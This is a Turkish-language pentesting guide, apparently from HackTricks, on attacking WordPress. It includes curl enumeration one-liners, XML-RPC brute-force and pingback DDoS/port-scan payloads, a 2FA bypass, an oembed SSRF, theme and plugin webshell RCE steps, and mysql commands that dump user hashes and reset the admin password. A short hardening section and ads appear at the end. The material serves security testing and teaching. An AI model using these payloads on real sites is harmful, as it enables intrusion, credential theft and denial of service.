Wordpress

Sıfırdan kahraman olacak şekilde AWS hacklemeyi öğrenin htARTE (HackTricks AWS Red Team Expert)!

HackTricks'ı desteklemenin diğer yolları:

Dünyanın en gelişmiş topluluk araçları tarafından desteklenen iş akışlarını kolayca oluşturmak ve otomatikleştirmek için Trickest'i kullanın. Bugün Erişim Alın:

Temel Bilgiler

Yüklenen dosyalar şuraya gider: http://10.10.10.10/wp-content/uploads/2018/08/a.txt Temalar dosyaları /wp-content/themes/ içinde bulunabilir, bu yüzden tema php'sini değiştirirseniz RCE elde etmek için muhtemelen bu yolu kullanacaksınız. Örneğin: twentytwelve temasını kullanarak 404.php dosyasına erişebilirsiniz: /wp-content/themes/twentytwelve/404.php Başka faydalı bir url şu olabilir: /wp-content/themes/default/404.php

wp-config.php içinde veritabanının kök şifresini bulabilirsiniz.

Kontrol edilmesi gereken varsayılan giriş yolları: /wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/

Ana WordPress Dosyaları

  • index.php

  • license.txt WordPress'in yüklü olduğu sürüm gibi yararlı bilgiler içerir.

  • wp-activate.php yeni bir WordPress sitesi kurulurken e-posta etkinleştirme işlemi için kullanılır.

  • Giriş klasörleri (gizlemek için yeniden adlandırılmış olabilir):

  • /wp-admin/login.php

  • /wp-admin/wp-login.php

  • /login.php

  • /wp-login.php

  • xmlrpc.php, WordPress'in bir özelliğini temsil eden bir dosyadır ve HTTP'nin taşıma mekanizması olarak ve XML'in kodlama mekanizması olarak veri iletilmesini sağlar. Bu tür iletişim, WordPress REST API tarafından değiştirilmiştir.

  • wp-content klasörü eklentilerin ve temaların depolandığı ana dizindir.

  • wp-content/uploads/ Platforma yüklenen dosyaların depolandığı dizindir.

  • wp-includes/ Bu, sertifikalar, yazı tipleri, JavaScript dosyaları ve widget'lar gibi çekirdek dosyaların depolandığı dizindir.

  • wp-sitemap.xml Wordpress'in 5.5 ve üstü sürümlerinde, Wordpress tüm genel gönderileri ve genel olarak sorgulanabilir gönderi türlerini ve taksonomileri içeren bir site haritası XML dosyası oluşturur.

Saldırı sonrası işlemler

  • wp-config.php dosyası, WordPress'in veritabanına bağlanmak için gereken bilgileri içerir; veritabanı adı, veritabanı ana bilgisayarı, kullanıcı adı ve şifre, kimlik doğrulama anahtarları ve tuzları ve veritabanı tablo öneki. Bu yapılandırma dosyası ayrıca sorun gidermede kullanışlı olabilecek DEBUG modunu etkinleştirmek için de kullanılabilir.

Kullanıcı İzinleri

  • Yönetici

  • Editör: Kendi ve diğerlerinin gönderilerini yayımlar ve yönetir

  • Yazar: Kendi gönderilerini yayımlar ve yönetir

  • Katılımcı: Gönderilerini yazabilir ve yönetebilir ancak yayımlayamaz

  • Abone: Gönderileri göz atabilir ve profilini düzenleyebilir

Pasif Numaralandırma

WordPress sürümünü alın

/license.txt veya /readme.html dosyalarını bulup bulamadığınızı kontrol edin

Sayfanın kaynak kodu içinde (örnek: https://wordpress.org/support/article/pages/):

  • grep

curl https://victim.com/ | grep 'content="WordPress'
  • meta name

  • CSS bağlantı dosyaları

  • JavaScript dosyaları

Eklentileri Al

curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2

Temaları Al

curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2

Trickest kullanarak dünyanın en gelişmiş topluluk araçlarıyla desteklenen iş akışlarını otomatikleştirin. Bugün Erişim Edinin:

Aktif numaralandırma

Eklentiler ve Temalar

Muhtemelen tüm Eklentileri ve Temaları bulamayacaksınız. Hepsini keşfetmek için Eklentilerin ve Temaların listesini aktif olarak Brute Force etmeniz gerekecek (şansımıza, bu listeleri içeren otomatik araçlar bulunmaktadır).

Kullanıcılar

Kimlik Numarası Brute

WordPress sitesinden geçerli kullanıcıları Kimlik Numaralarını Brute Force ederek elde edersiniz:

curl -s -I -X GET http://blog.example.com/?author=1

Eğer yanıtlar 200 veya 30X ise, bu demektir ki id geçerlidir. Eğer yanıt 400 ise, o zaman id geçersizdir.

wp-json

Ayrıca kullanıcılar hakkında bilgi almak için sorgulama yapabilirsiniz:

curl http://blog.example.com/wp-json/wp/v2/users

Başka bir /wp-json/ uç noktası, kullanıcılar hakkında bazı bilgileri ortaya çıkarabilir:

curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL

Bu uç noktanın yalnızca bir gönderi yapmış olan kullanıcıları ortaya çıkardığını unutmayın. Yalnızca bu özelliği etkinleştirmiş kullanıcılar hakkında bilgi sağlanacaktır.

Ayrıca /wp-json/wp/v2/pages IP adreslerini sızdırabilir.

Kullanıcı adı girişi numaralandırması

/wp-login.php'de oturum açarken, belirtilen kullanıcı adının var olup olmadığına bağlı olarak farklı bir mesaj alırsınız.

XML-RPC

xml-rpc.php etkinse kimlik bilgileri için kaba kuvvet saldırısı yapabilir veya başka kaynaklara DoS saldırıları başlatmak için kullanabilirsiniz. (Bu işlemi otomatikleştirebilirsiniz buna örnek olarak şunu kullanabilirsiniz).

Etkin olup olmadığını görmek için /xmlrpc.php'ye erişmeyi deneyin ve bu isteği gönderin:

Kontrol

<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
</methodCall>

Kimlik Bilgileri Kaba Kuvvet

wp.getUserBlogs, wp.getCategories veya metaWeblog.getUsersBlogs gibi yöntemler kimlik bilgilerini kaba kuvvet saldırısı için kullanılabilir. Eğer bunlardan herhangi birini bulabilirseniz şunu gönderebilirsiniz:

<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value>admin</value></param>
<param><value>pass</value></param>
</params>
</methodCall>

200 kodlu yanıt içindeki "Kullanıcı adı veya şifre yanlış" mesajı geçersiz kimlik bilgileri durumunda görünmelidir.

Doğru kimlik bilgilerini kullanarak bir dosya yükleyebilirsiniz. Yanıtta yol görünecektir (https://gist.github.com/georgestephanis/5681982)

<?xml version='1.0' encoding='utf-8'?>
<methodCall>
<methodName>wp.uploadFile</methodName>
<params>
<param><value><string>1</string></value></param>
<param><value><string>username</string></value></param>
<param><value><string>password</string></value></param>
<param>
<value>
<struct>
<member>
<name>name</name>
<value><string>filename.jpg</string></value>
</member>
<member>
<name>type</name>
<value><string>mime/type</string></value>
</member>
<member>
<name>bits</name>
<value><base64><![CDATA[---base64-encoded-data---]]></base64></value>
</member>
</struct>
</value>
</param>
</params>
</methodCall>

Ayrıca, system.multicall kullanarak aynı istekte birkaç kimlik bilgisini deneyebileceğiniz için kimlik bilgilerini kaba kuvvetle çözmenin daha hızlı bir yolu vardır:

2FA'yı Atlatma

Bu yöntem programlar içindir ve insanlar için değil, eski olduğu için 2FA'yı desteklemez. Dolayısıyla, geçerli kimlik bilgileriniz varsa ancak ana giriş 2FA ile korunuyorsa, xmlrpc.php'yi kullanarak bu kimlik bilgileriyle 2FA'yı atlayarak oturum açabilirsiniz. Tüm konsol üzerinden yapabileceğiniz tüm eylemleri gerçekleştiremeyeceğinizi unutmayın, ancak Ippsec'in https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s açıkladığı gibi hala RCE'ye ulaşabilirsiniz.

DDoS veya port taraması

Liste içinde pingback.ping yöntemini bulabilirseniz, Wordpress'in herhangi bir ana makine/limana keyfi bir istek göndermesini sağlayabilirsiniz. Bu, binlerce Wordpress sitesinin bir yeri erişmesini istemek için kullanılabilir (bu nedenle o konumda bir DDoS oluşturulur) veya bunu kullanarak Wordpress'in bazı dahili ağları taramasını sağlayabilirsiniz (herhangi bir limanı belirtebilirsiniz).

<methodCall>
<methodName>pingback.ping</methodName>
<params><param>
<value><string>http://<YOUR SERVER >:<port></string></value>
</param><param><value><string>http://<SOME VALID BLOG FROM THE SITE ></string>
</value></param></params>
</methodCall>

Eğer bir değeri 0'dan büyük olan faultCode alırsanız (17), bu portun açık olduğu anlamına gelir.

Bu yöntemi DDoS saldırısına neden olmak için nasıl kötüye kullanacağınızı öğrenmek için önceki bölümde system.multicall kullanımına bir göz atın.

<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param><value><string>http://target/</string></value></param>
<param><value><string>http://yoursite.com/and_some_valid_blog_post_url</string></value></param>
</params>
</methodCall>

wp-cron.php DoS

Bu dosya genellikle Wordpress sitesinin kökü altında bulunur: /wp-cron.php Bu dosyaya erişildiğinde a "yoğun" MySQL sorgusu gerçekleştirilir, bu nedenle saldırganlar tarafından Bir Hizmeti Engelleme saldırısına neden olmak için kullanılabilir. Ayrıca, varsayılan olarak, wp-cron.php her sayfa yüklemede çağrılır (istemci herhangi bir Wordpress sayfasını istediğinde), yüksek trafikli sitelerde sorunlara neden olabilir (DoS).

Wp-Cron'un devre dışı bırakılması ve gereken işlemleri düzenli aralıklarla gerçekleştiren bir gerçek cronjob oluşturulması önerilir (sorunlara neden olmadan).

/wp-json/oembed/1.0/proxy - SSRF

https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ adresine erişmeyi deneyin ve Wordpress sitesi size bir istek yapabilir.

Bu çalışmadığında alınan yanıt:

SSRF

Bu araç, methodName: pingback.ping'i kontrol eder ve yol için /wp-json/oembed/1.0/proxy'yi kontrol eder ve varsa bunları istismar etmeye çalışır.

Otomatik Araçlar

cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0"
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
#You can try to bruteforce the admin user using wpscan with "-U admin"

Trickest kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen iş akışlarını otomatikleştirin. Bugün Erişim Alın:

Biraz üzerine yazarak erişim alın

Bu, gerçek bir saldırıdan ziyade bir meraktır. CTF'de https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man herhangi bir wordpress dosyasından 1 bit çevirebilirdiniz. Bu sayede /var/www/html/wp-includes/user.php dosyasının 5389 konumunu çevirerek NOT (!) işlemini devre dışı bırakabilirsiniz.

if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
return new WP_Error(

Panel RCE

Kullanılan temadan bir php dosyasını değiştirme (yönetici kimlik bilgileri gereklidir)

Görünüm → Tema Düzenleyici → 404 Şablonu (sağda)

İçeriği bir php kabuğu için değiştirin:

Bu güncellenmiş sayfaya nasıl erişebileceğinizi internet üzerinden arayın. Bu durumda buraya erişmeniz gerekecek: http://10.11.1.234/wp-content/themes/twentytwelve/404.php

MSF

Kullanabilirsiniz:

use exploit/unix/webapp/wp_admin_shell_upload

Eklenti RCE

PHP eklentisi

Bir eklenti olarak .php dosyaları yüklemek mümkün olabilir. Örneğin şu şekilde php arka kapınızı oluşturun:

Ardından yeni bir eklenti ekleyin:

Eklentiyi yükleyin ve Şimdi Yükle'ye basın:

Procced'e tıklayın:

Büyük ihtimalle görünüşte hiçbir şey yapmayacak, ancak Medya'ya giderseniz yüklenen kabuğunuzu göreceksiniz:

Erişin ve ters kabloyu yürütmek için URL'yi göreceksiniz:

Zararlı eklenti yükleme ve etkinleştirme

Bu yöntem, zayıf olduğu bilinen zararlı bir eklentinin kurulmasını ve bir web kabuğunun elde edilmesini içerir. Bu işlem WordPress panosu aracılığıyla şu şekilde gerçekleştirilir:

  1. Eklenti Edinme: Eklenti, Exploit DB gibi bir kaynaktan alınır, örneğin buradan.

  2. Eklenti Kurulumu:

  • WordPress panosuna gidin, ardından Pano > Eklentiler > Eklenti Yükle'ye gidin.

  • İndirilen eklentinin zip dosyasını yükleyin.

  1. Eklenti Etkinleştirme: Eklenti başarılı bir şekilde yüklendikten sonra, panelden etkinleştirilmelidir.

  2. Sömürü:

  • "reflex-gallery" eklentisi yüklü ve etkin olduğunda, zayıf olduğu bilindiği için sömürülebilir.

  • Metasploit çerçevesi bu zafiyet için bir sömürü sağlar. Uygun modülü yükleyerek ve belirli komutları yürüterek, bir meterpreter oturumu oluşturulabilir ve siteye yetkisiz erişim sağlanabilir.

  • Bu, bir WordPress sitesini sömürmek için birçok yöntemden sadece biri olduğu belirtilmektedir.

İçerik, WordPress panosundaki adımları gösteren görsel yardımları içermektedir. Ancak, bu tür zafiyetlerden yararlanmak yasaldır ve etik değildir, uygun izin olmadan. Bu bilgiler sorumlu bir şekilde ve yalnızca yasal bir bağlamda, örneğin açık izinle yapılan penetrasyon testleri gibi kullanılmalıdır.

Daha detaylı adımlar için kontrol edin: https://www.hackingarticles.in/wordpress-reverse-shell/**

Saldırı Sonrası

Kullanıcı adlarını ve şifreleri çıkarın:

mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"

Admin şifresini değiştirin:

mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"

WordPress Koruma

Düzenli Güncellemeler

WordPress'in, eklentilerin ve temaların güncel olduğundan emin olun. Ayrıca otomatik güncellemenin wp-config.php dosyasında etkin olduğunu doğrulayın:

define( 'WP_AUTO_UPDATE_CORE', true );
add_filter( 'auto_update_plugin', '__return_true' );
add_filter( 'auto_update_theme', '__return_true' );

Ayrıca, yalnızca güvenilir WordPress eklentileri ve temaları yükleyin.

Güvenlik Eklentileri

Diğer Tavsiyeler

  • Varsayılan admin kullanıcısını kaldırın

  • Güçlü şifreler ve 2FA kullanın

  • Kullanıcı izinlerini periyodik olarak gözden geçirin

  • Kaba kuvvet saldırılarını önlemek için giriş denemesini sınırlayın

  • wp-admin.php dosyasını yeniden adlandırın ve yalnızca belirli IP adreslerinden veya dahili olarak erişime izin verin.

Trickest kullanarak dünyanın en gelişmiş topluluk araçlarıyla desteklenen otomatik iş akışları oluşturun ve otomatikleştirin. Bugün Erişim Alın:

Sıfırdan kahraman olacak şekilde AWS hacklemeyi öğrenin htARTE (HackTricks AWS Red Team Expert)!

HackTricks'i desteklemenin diğer yolları:

Last updated